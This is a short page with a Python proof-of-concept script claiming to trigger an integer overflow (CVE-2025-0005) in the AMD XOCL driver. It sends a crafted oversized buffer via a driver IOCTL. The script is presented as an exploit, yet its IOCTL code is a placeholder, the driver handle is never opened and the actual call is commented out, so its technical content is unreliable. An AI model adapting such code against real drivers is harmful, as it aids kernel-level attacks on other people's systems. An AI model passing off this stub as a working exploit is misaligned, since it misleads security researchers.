CVE-2025-0005: AMD XOCL驱动程序整数溢出漏洞

# CVE-2025-0005 PoC - AMD XOCL Driver Integer Overflow # This PoC demonstrates triggering integer overflow in AMD XOCL driver # Note: This is for educational/research purposes only import ctypes import struct import os # Windows kernel driver interaction structures class XOCL_IOCTL(ctypes.Structure): _fields_ = [ ("input_buffer", ctypes.c_void_p), ("input_size", ctypes.c_ulong), ("output_buffer", ctypes.c_void_p), ("output_size", ctypes.c_ulong) ] def create_malicious_input(): """Generate malicious input to trigger integer overflow""" # Large size value that can cause integer overflow # when combined with certain operations in XOCL driver malicious_size = 0xFFFFFFFF # Max uint32 value # Crafted buffer that, when processed with malicious_size, # causes integer overflow in size calculations input_data = struct.pack('<I', malicious_size) input_data += b'\x00' * 16 # Additional crafted data return input_data def trigger_vulnerability(): """ Attempt to trigger CVE-2025-0005 by sending malicious IOCTL to XOCL driver. This requires appropriate driver handle. """ # Open XOCL driver device handle # Device name varies by Windows version device_name = "\\\\.\\XoclDriver" try: # Create malicious input buffer malicious_input = create_malicious_input() # IOCTL code for XOCL driver operation # (Actual IOCTL code would be obtained from driver documentation) ioctl_code = 0x222000 # Example IOCTL code # Prepare IOCTL request structure ioctl_request = XOCL_IOCTL() ioctl_request.input_buffer = ctypes.cast( ctypes.create_string_buffer(malicious_input), ctypes.c_void_p ) ioctl_request.input_size = len(malicious_input) ioctl_request.output_buffer = None ioctl_request.output_size = 0 print("[*] Sending malicious request to XOCL driver...") print(f"[*] Input size: {len(malicious_input)} bytes") print(f"[*] IOCTL Code: 0x{ioctl_code:08X}") # Send IOCTL request (requires admin privileges) # result = ctypes.windll.kernel32.DeviceIoControl( # driver_handle, # ioctl_code, # ctypes.byref(ioctl_request), # ctypes.sizeof(ioctl_request), # None, 0, None, None # ) # Note: Actual exploitation requires: # 1. Administrator privileges # 2. Proper driver handle access # 3. Correct IOCTL code for vulnerable function print("[!] This PoC requires modifications for target system") print("[!] Use only in authorized testing environments") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-0005 - AMD XOCL Driver Integer Overflow PoC") print("=" * 60) trigger_vulnerability()